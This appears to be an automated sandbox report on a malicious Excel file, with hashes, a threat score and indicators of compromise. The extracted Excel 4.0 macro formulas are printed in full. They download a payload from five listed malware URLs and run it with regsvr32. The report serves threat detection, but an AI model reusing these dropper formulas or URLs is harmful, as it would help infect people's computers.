General

  • Target

    0e91bfa9da6b2d270d397d82738128932003c7012861856b8492ce68b8b7890a

  • Size

    173KB

  • Sample

    241120-mheaesverg

  • MD5

    ab3005c36433dfe20236d5972fc7881a

  • SHA1

    3d290f7ec771a274031df315d68236ca14040edd

  • SHA256

    0e91bfa9da6b2d270d397d82738128932003c7012861856b8492ce68b8b7890a

  • SHA512

    50d119ae3f0123832602600e9d6a94f08d64abdb64df6c744a224b230c5fc41d769cd78f0fc5ffefa6112ac5964e60e40dc76ccf01cba3265ad222fc06411061

  • SSDEEP

    3072:XUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:X+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Targets

    • Target

      0e91bfa9da6b2d270d397d82738128932003c7012861856b8492ce68b8b7890a

    • Size

      173KB

    • MD5

      ab3005c36433dfe20236d5972fc7881a

    • SHA1

      3d290f7ec771a274031df315d68236ca14040edd

    • SHA256

      0e91bfa9da6b2d270d397d82738128932003c7012861856b8492ce68b8b7890a

    • SHA512

      50d119ae3f0123832602600e9d6a94f08d64abdb64df6c744a224b230c5fc41d769cd78f0fc5ffefa6112ac5964e60e40dc76ccf01cba3265ad222fc06411061

    • SSDEEP

      3072:XUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:X+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks